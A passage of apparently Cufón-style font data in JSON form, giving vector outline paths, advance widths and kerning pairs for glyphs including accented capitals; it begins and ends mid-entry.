-37,113,29r0,91r23,8r0,12","w":311},{"d":"148,-230r-51,43r-15,0r24,-43r42,0xm186,-80v0,48,-36,83,-87,83v-51,0,-88,-34,-88,-83v0,-49,37,-83,88,-83v51,0,87,35,87,83xm104,-15v67,-6,51,-127,-10,-129v-66,6,-52,126,10,129","w":197,"k":{"W":20,"V":22}},{"d":"67,-22v0,15,-11,25,-26,25v-16,0,-26,-11,-26,-25v0,-14,11,-25,26,-25v15,0,26,10,26,25","w":81},{"d":"180,-295v12,13,-15,42,-25,45v-27,-3,-56,-30,-71,0v-15,-8,11,-41,21,-41v16,0,43,16,51,16v12,0,17,-10,24,-20xm257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,48,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-112,9,-87,193,13,196","w":267},{"d":"123,-183v-16,-1,-29,-22,-38,-30v-17,1,-37,6,-37,25v0,39,107,27,107,84v0,24,-19,41,-41,47v23,9,36,29,36,48v0,45,-41,57,-78,57v-21,0,-67,-2,-67,-26v0,-19,24,-28,38,-16r26,23v20,0,41,-9,41,-28v0,-46,-104,-21,-104,-91v0,-23,16,-39,37,-45v-19,-9,-33,-23,-33,-44v0,-36,36,-51,68,-51v18,0,67,1,67,25v0,12,-10,22,-22,22xm117,-91v1,-29,-75,-51,-77,-8v-2,29,75,48,77,8","w":161},{"d":"114,-23r-14,-1r-43,-61r44,-62r13,0r-24,62xm64,-23r-14,-1r-44,-61r45,-62r13,0r-24,62","w":125},{"d":"66,-135v0,7,-7,13,-15,13v-8,0,-15,-6,-15,-13v0,-8,7,-13,15,-13v8,0,15,5,15,13xm87,-105r-2,20r-75,0r3,-20r74,0xm64,-51v0,8,-7,13,-15,13v-8,0,-15,-5,-15,-13v0,-7,7,-13,15,-13v8,0,15,6,15,13","w":97},{"d":"117,-215r-93,0r0,-15r93,0r0,15","w":144},{"d":"86,27r-13,1v0,0,-56,-60,-56,-135v0,-76,55,-136,55,-136r14,0v0,0,-30,69,-30,136v0,65,30,134,30,134","w":97},{"d":"69,-129v-35,-31,-54,-105,36,-103v40,0,67,12,67,42v0,28,-27,52,-52,59v9,10,48,61,58,71v11,-24,5,-56,-20,-58r0,-12r75,0v5,24,-22,8,-22,35v0,18,-6,37,-18,53v9,13,30,27,31,42r-54,0r-10,-13v-51,31,-146,21,-148,-51v0,-37,26,-59,57,-65xm110,-144v28,-13,35,-72,-4,-72v-39,9,-19,48,4,72xm149,-27r-69,-88v-43,21,-25,99,32,99v12,0,26,-4,37,-11","w":240,"k":{"Y":9,"W":9,"V":9,"T":9}},{"d":"111,-159r-5,13r-36,0r0,110v0,20,19,19,39,19r-3,13v-35,13,-87,11,-75,-38r0,-104r-29,0r3,-13r27,-7r25,-33r13,0r0,40r41,0","w":110,"k":{"y":9}},{"d":"235,0r-87,0v-3,-16,11,-14,19,-19v2,-25,-8,-38,-13,-56r-88,0v-5,18,-16,31,-14,56v8,5,21,3,18,19r-66,0r0,-12r17,-7r77,-211r42,-6r79,217v7,5,19,4,16,19xm146,-96r-38,-109r-36,109r74,0","w":239,"k":{"w":14,"v":13,"u":8,"b":4,"Y":31,"W":26,"V":28,"U":8,"T":22,"G":9,"C":11,"B":5,"?":5,"'":29,"\"":29}},{"d":"81,-109v0,76,-55,137,-55,137r-14,0v0,0,30,-70,30,-137v0,-65,-30,-134,-30,-134r13,0v0,0,56,59,56,134","w":97},{"d":"176,-71v0,45,-34,74,-80,74v-58,-1,-80,-37,-80,-78v0,-56,40,-100,87,-137r19,9v-35,33,-65,73,-65,126v0,45,20,60,43,60v54,0,52,-95,-5,-93v-4,0,-9,1,-14,1r6,-20v47,-11,89,13,89,58"},{"d":"161,-18v0,65,-63,84,-119,84r-9,-15v38,-5,89,-18,89,-62v-1,-40,-46,-39,-85,-35r6,-113r110,0r-4,33r-81,0r-3,53v51,-7,96,8,96,55"},{"d":"171,-291r-51,44r-15,0r24,-44r42,0xm239,0r-86,0v-3,-15,10,-14,18,-19v2,-25,-9,-38,-14,-56r-91,0v-5,18,-16,31,-14,56v8,5,21,3,18,19r-66,0r0,-12r17,-7r76,-203r48,-7r78,210v7,5,19,4,16,19xm149,-96r-38,-107r-38,107r76,0","w":243,"k":{"Y":27,"W":26,"V":27,"T":22,"'":24,"\"":24}},{"d":"203,0r-87,0r0,-12r24,-8v-4,-46,18,-118,-34,-118v-16,0,-26,3,-37,6r0,112r24,8r0,12r-87,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r57,-7r1,25v33,-31,113,-34,113,30r0,91r23,8r0,12","w":209,"k":{"y":2,"v":8,"u":1}},{"d":"67,-104v0,15,-11,25,-26,25v-16,0,-26,-11,-26,-25v0,-14,11,-25,26,-25v15,0,26,10,26,25","w":81},{"d":"40,-232v52,11,9,74,-17,93r-10,-6v7,-9,18,-23,23,-34v-19,-10,-30,-51,4,-53","w":81,"k":{"\u00c1":7,"\u00c2":7,"\u00c3":7,"\u00c0":7,"\u00c5":7,"\u00c4":7,"A":7}},{"d":"92,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm35,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm95,0r-88,0r0,-12r25,-8r0,-116v-6,-6,-12,-11,-22,-12r0,-11r61,-7r0,146r24,8r0,12","w":100},{"d":"218,0r-55,0r-79,-125v33,1,60,1,60,-43v0,-35,-30,-48,-69,-44r0,192r22,8r0,12r-90,0r0,-12r24,-8r0,-191r-24,-8r0,-11r104,0v87,-11,98,110,28,119r62,90v8,5,20,5,17,21","w":218,"k":{"Y":11,"W":14,"V":11,"U":11,"T":2,"O":5}},{"d":"257,-115v0,83,-86,143,-173,110r-24,45r-14,-7r25,-45v-38,-20,-60,-59,-60,-103v0,-82,87,-142,174,-109r20,-36r14,8r-20,35v36,21,58,59,58,102xm140,-18v83,-5,88,-117,43,-168r-84,155v12,8,26,13,41,13xm171,-197v-12,-9,-27,-15,-45,-15v-83,0,-90,122,-39,170","w":267},{"d":"99,0r-92,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r92,0r0,11r-24,9r0,190r24,8r0,12","w":105,"k":{"?":-5}},{"d":"68,-138v0,14,-12,25,-26,25v-14,0,-26,-11,-26,-25v0,-14,12,-25,26,-25v14,0,26,11,26,25xm68,-22v0,14,-12,25,-26,25v-14,0,-26,-11,-26,-25v0,-14,12,-25,26,-25v14,0,26,11,26,25","w":84},{"d":"181,-291r-51,44r-14,0r23,-44r42,0xm254,-219r-24,9v-6,106,33,213,-95,213v-49,0,-104,-18,-104,-79r0,-134r-25,-9r0,-11r92,0r0,11r-25,9v8,84,-32,188,68,188v92,0,64,-106,68,-188v-9,-6,-27,-2,-24,-20r69,0r0,11","w":261},{"d":"146,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm82,-215v0,8,-7,15,-16,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,16,7,16,16xm186,-80v0,48,-36,83,-87,83v-51,0,-88,-34,-88,-83v0,-49,37,-83,88,-83v51,0,87,35,87,83xm104,-15v67,-6,51,-127,-10,-129v-66,6,-52,126,10,129","w":197,"k":{"W":20,"V":22}},{"d":"289,-159v3,15,-9,14,-17,18r-57,141r-38,0r-31,-79r-32,79r-38,0r-56,-141v-7,-4,-19,-3,-16,-18r184,0v5,21,-27,8,-18,32r35,98v11,-39,32,-67,35,-114r-18,-5r0,-11r67,0xm134,-111r-13,-30v-17,-6,-35,-8,-53,-2v3,47,25,75,36,114","w":292,"k":{"f":1}},{"d":"235,-153v0,36,-20,105,-66,105v-18,0,-23,-13,-22,-30v-12,15,-18,30,-40,30v-24,0,-36,-21,-36,-43v1,-53,41,-113,113,-93r-14,110v0,5,1,11,7,11v26,0,38,-59,38,-80v0,-46,-26,-73,-72,-73v-62,0,-106,64,-106,121v0,64,74,106,124,64r7,7v-19,21,-41,26,-69,26v-57,0,-89,-43,-89,-93v0,-70,64,-139,136,-139v49,0,89,24,89,77xm157,-167v-4,-3,-6,-8,-12,-9v-33,0,-49,55,-49,82v2,45,43,21,53,0","w":246},{"d":"152,-136r-43,43r43,43r-14,13r-42,-43r-42,42r-13,-12r43,-42r-43,-43r13,-13r42,43r43,-43","w":196},{"d":"240,0r-59,0r-97,-118r79,-80r0,-14r-21,-7r0,-11r89,0r0,11r-25,9r-79,78r99,114r14,6r0,12xm98,0r-91,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r91,0v3,17,-14,14,-23,20r0,191r23,7r0,12","w":239,"k":{"?":-5}},{"d":"142,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm79,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm163,-87r-113,0v-6,60,54,71,109,59v-1,25,-34,31,-60,31v-58,0,-88,-34,-88,-83v0,-48,32,-83,80,-83v46,0,77,24,72,76xm122,-109v3,-25,-5,-36,-29,-36v-24,0,-38,19,-41,42","w":171,"k":{"Y":9,"W":9,"V":9,"T":7}},{"d":"129,-230r-51,43r-15,0r24,-43r42,0xm159,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,10,-19,30,-39,30v-11,0,-16,-5,-16,-16v0,-22,49,-32,66,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm102,-25r0,-48v-25,-1,-60,3,-55,31v5,27,33,22,55,17","w":167,"k":{"Y":21,"W":13,"V":13,"T":11}},{"d":"294,0r-90,0r0,-12r23,-8r-10,-154r-65,175r-19,0r-70,-179r-8,158r22,8r-1,12r-65,0v-12,-13,13,-17,21,-20r14,-191v-8,-5,-25,-2,-22,-19r62,0r67,172r62,-172r64,0r0,11r-24,8r15,191r24,8r0,12","w":300,"k":{"Y":6}},{"d":"278,-49v0,29,-21,52,-57,52v-37,0,-57,-22,-57,-52v0,-31,22,-51,57,-51v36,0,57,20,57,51xm185,-230r-65,230r-19,0r65,-230r19,0xm129,-183v0,29,-21,52,-57,52v-37,0,-58,-22,-58,-52v0,-30,23,-51,58,-51v36,0,57,21,57,51xm251,-46v0,-19,-9,-36,-31,-36v-20,0,-30,14,-30,32v0,19,10,36,32,36v20,0,29,-14,29,-32xm102,-180v0,-19,-9,-36,-31,-36v-20,0,-31,14,-31,32v0,19,10,36,32,36v19,0,30,-14,30,-32","w":292},{"d":"244,-87r-104,0v-8,60,49,71,103,59v-9,41,-99,38,-120,8v-23,30,-116,36,-116,-21v0,-42,40,-48,95,-48v4,-31,-4,-58,-34,-56v-13,9,-19,30,-38,30v-11,0,-18,-5,-18,-16v13,-36,95,-43,118,-14v42,-35,129,-19,114,58xm206,-109v1,-22,0,-36,-23,-36v-24,0,-38,19,-41,42xm114,-31v-8,-12,-12,-26,-13,-42v-24,0,-58,3,-53,31v6,33,39,20,66,11","w":252},{"d":"150,-247r-15,0r-50,-44r41,0xm257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,49,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-110,9,-88,193,13,196","w":267},{"d":"135,-245v-24,3,-27,-16,-40,-25v-13,8,-16,27,-39,25r28,-46r21,0xm184,-49r-8,49r-169,0r0,-12r24,-7r0,-190v-9,-6,-27,-3,-24,-21r164,0r3,47r-25,0r-11,-25v-16,-7,-40,-5,-63,-5r0,83r48,0v7,-9,11,-21,30,-17r0,52r-17,0r-13,-17r-48,0r0,85v11,18,53,7,71,0r13,-22r25,0","w":190},{"w":308},{"d":"218,-176r-26,0r-12,-29v-12,-6,-40,-14,-48,1r0,183r28,9r0,12r-99,0r0,-12r28,-9r0,-183v-8,-14,-36,-7,-48,-1r-11,29r-26,0r5,-54r204,0","w":221,"k":{"\u00c1":22,"\u00c2":22,"\u00c3":24,"\u00c0":24,"\u00f8":25,"\u00e6":28,"\u00c6":34,"\u00fc":16,"\u00fb":16,"\u00f9":16,"\u00fa":11,"\u00eb":13,"\u00ea":16,"\u00e8":16,"\u00e9":16,"\u00e5":22,"\u00e3":13,"\u00e4":13,"\u00e2":16,"\u00e0":16,"\u00e1":16,"\u00c5":24,"z":11,"y":25,"x":14,"w":27,"v":14,"u":16,"s":14,"r":16,"q":14,"p":7,"o":29,"n":11,"m":11,"g":14,"e":29,"d":14,"c":21,"a":29,"A":25,"?":-5}},{"d":"190,-148r-19,7v-24,60,-60,154,-94,206v-13,19,-60,32,-62,-2v-1,-23,30,-26,41,-11v17,-4,23,-27,29,-39r-62,-154v-8,-4,-22,-2,-19,-18r86,0r0,11v-8,4,-27,1,-21,16r39,99v6,-21,40,-91,36,-109r-19,-6r0,-11r65,0r0,11xm142,-230r-51,43r-15,0r24,-43r42,0","w":193},{"d":"102,-23r-21,0r-68,-62r68,-63r21,0r-47,63","w":115},{"d":"236,-95r-16,3r-1,86v-107,28,-210,-5,-208,-113v2,-93,99,-134,195,-105r6,48r-27,0v-11,-23,-28,-36,-51,-36v-48,0,-79,48,-79,93v1,60,52,115,124,97v-3,-32,8,-74,-30,-74r0,-15r87,0r0,16","w":241,"k":{"Y":4,"A":7}},{"d":"234,-117v0,60,-48,117,-114,117r-113,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r112,0v71,0,115,53,115,113xm82,-22v64,17,105,-39,105,-95v0,-63,-37,-101,-112,-95r0,182","w":244,"k":{"\u00c6":7,"Y":9,"V":12,"A":11}},{"d":"102,-85r-69,62r-20,0r46,-62r-46,-63r21,0","w":115},{"d":"141,-230r0,22r-29,11v37,38,65,77,64,126v-1,37,-24,74,-81,74v-46,0,-79,-29,-79,-74v0,-44,41,-69,88,-58r7,20v-34,-7,-58,15,-58,42v0,25,11,50,39,50v23,0,43,-15,43,-60v0,-42,-21,-77,-49,-110r-57,21r0,-23r42,-15v-7,-8,-15,-15,-23,-23r20,-8v9,7,18,14,27,22"},{"d":"180,-291r-51,44r-15,0r24,-44r42,0xm257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,49,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-110,9,-88,193,13,196","w":267},{"d":"81,-144v-10,8,-20,30,-37,30v-12,0,-21,-8,-21,-20v0,-27,39,-27,68,-28v40,0,66,17,66,49v0,46,-50,67,-82,89r100,-6r-5,30r-152,0r0,-12v35,-23,95,-58,96,-100v0,-18,-10,-32,-33,-32"},{"d":"111,-232v52,11,9,74,-17,93r-10,-6v7,-9,18,-23,23,-34v-20,-11,-31,-51,4,-53xm40,-232v52,11,9,74,-17,93r-10,-6v7,-9,18,-23,23,-34v-19,-10,-30,-51,4,-53","w":152,"k":{"\u00c1":7,"\u00c2":7,"\u00c3":7,"\u00c0":7,"\u00c5":7,"\u00c4":7,"A":7}},{"d":"110,-243r-73,275r-22,0r73,-275r22,0","w":122},{"d":"194,-4r-56,7r-3,-15v-46,28,-119,23,-124,-69v-3,-50,53,-96,121,-77v-2,-26,10,-62,-22,-61r0,-11r61,-9r0,213v5,6,13,9,23,10r0,12xm132,-24r0,-118v-49,-7,-84,15,-81,57v6,68,38,68,81,61","w":199},{"d":"21,-134v0,-28,55,-28,74,-29v29,0,59,13,59,46v0,29,-24,39,-48,50v32,0,54,23,54,55v-1,61,-76,87,-123,72r-6,-10v41,-3,90,-16,90,-59v0,-29,-23,-45,-56,-41r-4,-17v23,-9,54,-20,54,-49v0,-22,-27,-34,-43,-24v-9,9,-15,25,-31,26v-11,0,-20,-8,-20,-20"},{"d":"126,-126v27,15,50,32,50,65v0,37,-31,64,-80,64v-45,0,-77,-19,-77,-60v0,-26,17,-47,44,-59v-55,-26,-45,-103,35,-103v75,0,90,78,28,93xm109,-135v37,-11,29,-67,-10,-67v-21,0,-35,12,-35,28v0,17,21,27,45,39xm138,-54v0,-26,-29,-38,-57,-52v-41,13,-34,90,17,90v21,0,40,-12,40,-38"},{"d":"91,-106r-3,22r-76,0r3,-22r76,0","w":103},{"d":"93,-291r-51,44r-14,0r24,-44r41,0xm99,0r-92,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r92,0r0,11r-24,9r0,190r24,8r0,12","w":105},{"d":"112,-132v12,13,-15,44,-25,47v-16,0,-37,-16,-49,-16v-13,-4,-18,27,-27,12v3,-9,15,-37,26,-37v16,0,43,15,51,15v12,0,17,-12,24,-21","w":126},{"w":78},{"d":"4,-203v0,-25,38,-28,65,-28v27,0,71,15,71,59v0,45,-32,65,-64,69v-13,2,-16,20,-14,37r-16,-6r-5,-60v30,0,60,-15,60,-43v0,-19,-8,-38,-30,-42v-14,9,-26,33,-47,33v-12,0,-20,-7,-20,-19xm77,-19v0,12,-11,22,-23,22v-12,0,-22,-10,-22,-22v0,-12,10,-21,22,-21v12,0,23,9,23,21","w":150},{"d":"245,-114v0,64,-50,117,-118,117v-68,0,-118,-53,-118,-117v0,-64,50,-117,118,-117v68,0,118,53,118,117xm226,-114v0,-58,-43,-104,-99,-104v-56,0,-99,46,-99,104v0,58,43,104,99,104v56,0,99,-46,99,-104xm176,-67v2,22,-25,25,-41,26v-101,5,-107,-142,-7,-143v14,0,36,3,42,5r3,27v-23,4,-19,-19,-39,-20v-37,0,-50,24,-50,60v0,26,19,56,55,56v20,0,29,-6,37,-11","w":254},{"d":"182,-291v12,13,-15,42,-25,45v-29,-2,-65,-31,-80,0v-13,-9,12,-41,22,-41v16,0,51,16,59,16v12,0,17,-11,24,-20xm245,-219r-24,9r0,210r-31,0r-139,-181r0,161r23,8r0,12r-66,0r0,-12r23,-8r0,-189v-9,-6,-27,-3,-24,-21r61,0r133,170r0,-150v-9,-6,-27,-2,-24,-20r68,0r0,11","w":252},{"d":"71,-213v0,11,-10,19,-21,19v-11,0,-22,-8,-22,-19v0,-11,11,-18,22,-18v11,0,21,7,21,18xm71,9v0,62,-53,76,-67,76v-23,0,-24,-40,0,-35r27,5r0,-191v-5,-6,-12,-10,-21,-12r0,-11r61,-7r0,175","w":97},{"d":"91,-106r-3,22r-76,0r3,-22r76,0","w":103},{"d":"146,-85r-51,0r0,50r-22,0r0,-50r-46,0r0,-20r46,0r0,-49r22,0r0,49r51,0r0,20","w":168},{"d":"110,32r-22,0r-73,-275r22,0","w":122},{"d":"31,-105r-23,0r0,-23r23,0r0,-82v-9,-6,-27,-2,-24,-20r112,0v71,0,115,53,115,113v0,60,-48,117,-114,117r-113,0r0,-12r24,-8r0,-85xm82,-22v64,17,105,-39,105,-95v0,-63,-37,-101,-112,-95r0,84r61,0r0,23r-61,0r0,75","w":244},{"d":"99,-187r-15,0r-51,-43r42,0","w":152},{"d":"245,-230v3,16,-11,15,-19,20r-79,210r-39,0r-86,-208v-7,-6,-21,-6,-18,-22r92,0v3,22,-30,12,-19,42r61,153r59,-158r0,-17v-8,-6,-25,-3,-22,-20r70,0","w":248,"k":{"\u00c1":28,"\u00c2":28,"\u00c3":28,"\u00c0":28,"\u00f8":17,"\u00e6":20,"\u00c6":40,"\u00fc":20,"\u00fb":20,"\u00f9":20,"\u00fa":20,"\u00f5":23,"\u00f6":23,"\u00f4":23,"\u00f2":23,"\u00f3":23,"\u00ed":7,"\u00eb":13,"\u00ea":13,"\u00e8":13,"\u00e9":13,"\u00e5":17,"\u00e3":17,"\u00e4":17,"\u00e2":17,"\u00e0":17,"\u00e1":17,"\u00c5":28,"\u00c4":28,"z":7,"y":4,"x":7,"u":14,"t":5,"s":13,"r":14,"q":13,"o":23,"n":9,"m":9,"j":4,"i":5,"g":13,"f":4,"e":20,"d":13,"c":16,"a":20,"O":5,"A":29,";":13,":":13,".":13,"-":13,",":13}},{"d":"203,0r-88,0r0,-12r25,-8v-4,-46,18,-118,-34,-118v-16,0,-26,3,-37,6r0,112r25,8r0,12r-88,0r0,-12r24,-8r0,-188v-4,-7,-13,-9,-22,-11r0,-11r61,-9r0,96v33,-30,110,-31,110,31r0,92r24,8r0,12","w":208},{"d":"98,-163v17,0,55,1,55,26v0,18,-25,28,-36,14v-9,-7,-15,-16,-25,-22v-28,0,-42,31,-42,59v0,55,50,71,103,60r-5,15v-56,32,-137,6,-137,-68v0,-49,30,-84,87,-84","w":158,"k":{"q":2,"o":2,"e":2,"c":2}},{"d":"208,-55r-7,51v-20,5,-47,7,-70,7r3,11v17,4,26,8,26,24v0,22,-18,28,-37,28v-15,4,-24,-17,-9,-19v10,5,28,19,28,-2v0,-10,-9,-12,-21,-15r0,-28v-66,-5,-110,-49,-110,-119v-1,-94,93,-134,186,-107r7,52r-25,0v-5,-21,-26,-39,-50,-39v-50,0,-72,49,-72,93v0,52,26,99,83,99v22,0,39,-15,46,-36r22,0","w":215},{"d":"250,0r-92,0r0,-12r25,-8r0,-92r-108,0r0,92r24,8r0,12r-92,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r92,0r0,11r-24,9r0,79r108,0r0,-79r-25,-9r0,-11r92,0r0,11r-24,9r0,190r24,8r0,12","w":257,"k":{"?":-5}},{"d":"118,-210v0,12,-9,21,-22,21v-13,0,-23,-9,-23,-21v0,-12,10,-21,23,-21v13,0,22,9,22,21xm147,-23v0,26,-38,25,-66,26v-27,0,-71,-14,-71,-58v0,-44,32,-64,64,-68v14,-2,16,-21,14,-38r16,7r5,60v-30,0,-60,15,-60,43v0,20,17,49,39,36v13,-8,19,-29,38,-29v12,0,21,9,21,21","w":150,"k":{"?":4}},{"d":"117,-160r-14,0r-26,-42r-26,42r-14,0r29,-70r21,0","w":160},{"d":"220,-230v3,15,-9,14,-17,18r-56,95r32,0r0,16v-14,1,-33,-3,-43,2r0,19r43,0r0,17r-43,0r0,43r24,8r0,12r-92,0r0,-12r26,-8r0,-43r-46,0r1,-17r45,0v0,-9,0,-17,-4,-21r-42,0r1,-16r30,0r-59,-95v-7,-4,-19,-3,-16,-18r87,0r0,11v-8,4,-20,2,-17,17r51,84r47,-79r0,-16v-8,-4,-20,-2,-17,-17r65,0","w":223},{"d":"124,-69v-23,1,-52,0,-52,32v0,9,6,69,6,88v-1,45,-35,56,-74,51r-4,-9v24,-1,39,-5,39,-40v-1,-58,-27,-130,38,-130v-68,4,-38,-71,-38,-128v0,-35,-15,-39,-39,-40v1,-9,10,-10,20,-10v30,0,58,13,58,52v0,19,-6,79,-6,88v0,32,29,31,52,32r0,14","w":129},{"d":"69,-132r0,105v29,30,79,-5,79,-52v0,-54,-39,-66,-79,-53xm30,-208v-5,-6,-13,-9,-22,-11r0,-11r61,-9r0,93v47,-39,124,-6,119,61v-4,63,-52,100,-119,85r0,63r27,8r0,12r-90,0r0,-12r24,-7r0,-272","w":198},{"d":"153,-265v0,22,-16,31,-36,31v-20,0,-37,-9,-37,-31v0,-22,16,-31,37,-31v20,0,36,9,36,31xm235,0r-86,0v-3,-15,10,-14,18,-19v2,-23,-7,-35,-12,-51r-91,0v-4,17,-14,28,-12,51v8,5,21,3,18,19r-66,0r0,-12r17,-7r74,-198r48,-7r76,205v7,5,19,4,16,19xm135,-265v0,-12,-6,-19,-18,-19v-13,0,-19,6,-19,19v0,11,7,18,19,18v12,0,18,-6,18,-18xm147,-91r-39,-107r-37,107r76,0","w":239,"k":{"Y":26,"W":26,"V":27,"T":24,"?":5,"'":24,"\"":24}},{"d":"210,-55r-7,51v-96,24,-192,-13,-192,-113v0,-93,96,-134,188,-107r7,52r-25,0v-4,-16,-23,-39,-52,-39v-50,0,-72,48,-72,93v0,50,25,102,85,100v23,-1,40,-19,46,-37r22,0","w":217,"k":{"Q":5,"A":9}},{"d":"159,-67v0,69,-81,80,-146,63r0,-50v38,-6,25,37,67,37v19,0,36,-18,36,-37v0,-50,-103,-58,-103,-117v0,-62,75,-69,133,-55r2,44r-18,0v-11,-12,-18,-31,-41,-31v-19,0,-35,11,-35,30v0,45,105,52,105,116","w":172,"k":{"T":4,"A":2}},{"d":"194,0r-92,0r0,-12v32,-10,-3,-34,-13,-48v-9,15,-30,19,-31,43r13,5r0,12r-67,0r0,-12v34,-11,48,-42,73,-63r-57,-66v-7,-4,-19,-3,-16,-18r86,0r0,11r-14,4v0,23,19,27,27,42v10,-15,32,-18,32,-43r-16,-3r0,-11r67,0r0,11r-17,5r-53,56r59,68r19,7r0,12","w":197,"k":{"y":4,"c":7,"a":4}},{"d":"199,-55r-9,55r-183,0r0,-12r125,-198v-32,-2,-59,2,-83,9r-12,24r-23,0r2,-53r169,0r0,11r-125,199v41,0,74,0,99,-9r15,-26r25,0","w":205},{"d":"106,-230r-51,43r-15,0r24,-43r42,0","w":133},{"d":"71,-212v0,11,-10,18,-21,18v-12,0,-22,-7,-22,-18v0,-11,10,-19,22,-19v11,0,21,8,21,19xm94,0r-88,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r60,-7r0,146r25,8r0,12","w":99},{"d":"188,-159v3,15,-9,14,-17,18r-57,141r-38,0r-56,-141v-7,-4,-19,-3,-16,-18r83,0r0,11r-19,5v3,47,25,75,36,114v11,-39,32,-67,35,-114r-18,-5r0,-11r67,0","w":191,"k":{".":5,",":5}},{"d":"196,-6r-56,9r-2,-22v-30,30,-111,36,-111,-28r0,-89v-5,-6,-11,-11,-21,-12r0,-11r60,-7r0,113v-5,36,48,34,70,25v-2,-37,5,-82,-4,-112v-4,-4,-10,-6,-17,-8r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201,"k":{"W":9,"V":9,"T":16}},{"d":"245,-219r-24,9r0,210r-31,0r-139,-181r0,161r23,8r0,12r-66,0r0,-12r23,-8r0,-189v-9,-6,-27,-3,-24,-21r61,0r133,170r0,-150v-9,-6,-27,-2,-24,-20r68,0r0,11","w":252,"k":{"A":4,"?":-5}},{"d":"253,-219r-24,9v-6,106,33,213,-94,213v-50,0,-104,-18,-104,-79r0,-134v-9,-6,-27,-2,-24,-20r91,0v3,17,-14,14,-23,20v8,83,-33,186,66,188v92,2,62,-106,67,-188v-9,-6,-27,-2,-24,-20r69,0r0,11","w":260,"k":{"\u00c6":7,"A":4}},{"d":"188,83r-87,0r0,-12r27,-8r0,-71v-50,26,-117,4,-117,-68v0,-48,28,-87,86,-87v30,0,56,4,70,9r0,218r21,7r0,12xm128,-25r0,-108v-27,-30,-81,5,-77,50v6,58,36,65,77,58"},{"d":"140,-186v-18,0,-25,-21,-33,-32v-35,4,-26,51,-27,88r49,0r0,18r-49,0v0,42,-3,54,-30,84v25,-20,64,-11,97,-4v15,0,20,-8,23,-21r16,0v0,28,-12,57,-44,57v-54,0,-77,-28,-118,-4v-10,0,-15,-10,-8,-18v32,-13,18,-58,21,-94r-33,0r0,-18r33,0v-6,-63,13,-104,73,-102v17,0,50,2,50,25v0,12,-8,21,-20,21","w":188},{"d":"85,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r29,-46r21,0xm95,0r-88,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r61,-7r0,146r24,8r0,12","w":100},{"d":"220,-230v3,15,-9,14,-17,18r-67,113r0,79r24,8r0,12r-92,0r0,-12r26,-8r0,-74r-74,-118v-7,-4,-19,-3,-16,-18r87,0r0,11v-8,4,-20,2,-17,17r51,84r46,-79r0,-16v-8,-4,-20,-2,-17,-17r66,0","w":223,"k":{"\u00c1":27,"\u00c2":27,"\u00c3":27,"\u00c0":27,"\u00f8":26,"\u00e6":24,"\u00c6":39,"\u00eb":14,"\u00ea":14,"\u00e8":14,"\u00e9":14,"\u00e5":25,"\u00e3":25,"\u00e4":25,"\u00e2":25,"\u00e0":25,"\u00e1":25,"\u00c5":27,"\u00c4":27,"z":9,"y":4,"x":7,"w":4,"v":5,"u":16,"t":4,"s":14,"r":9,"q":14,"p":9,"o":29,"n":9,"m":9,"j":4,"i":7,"g":14,"f":4,"e":29,"d":14,"c":14,"a":27,"S":4,"O":11,"M":4,"G":11,"A":29,"?":-5,";":14,".":14,"-":14,",":14}},{"d":"173,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm103,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm235,0r-86,0v-3,-15,10,-14,18,-19v2,-23,-7,-35,-12,-51r-91,0v-4,17,-14,28,-12,51v8,5,21,3,18,19r-66,0r0,-12r17,-7r74,-198r48,-7r76,205v7,5,19,4,16,19xm147,-91r-39,-107r-37,107r76,0","w":239,"k":{"Y":27,"W":26,"V":27,"'":24,"\"":24}},{"d":"150,-233v11,12,-14,42,-24,45v-28,-4,-57,-31,-72,0v-13,-9,12,-41,22,-41v16,0,42,16,50,16v12,0,17,-11,24,-20xm203,0r-87,0r0,-12r24,-8v-4,-46,18,-118,-34,-118v-16,0,-26,3,-37,6r0,112r24,8r0,12r-87,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r57,-7r1,25v33,-31,113,-34,113,30r0,91r23,8r0,12","w":209},{"d":"186,-272v0,8,-7,15,-16,15v-9,0,-18,-7,-18,-15v0,-9,9,-16,18,-16v9,0,16,7,16,16xm117,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm254,-219r-24,9v-6,106,33,213,-95,213v-49,0,-104,-18,-104,-79r0,-134r-25,-9r0,-11r92,0r0,11r-25,9v8,84,-32,188,68,188v92,0,64,-106,68,-188v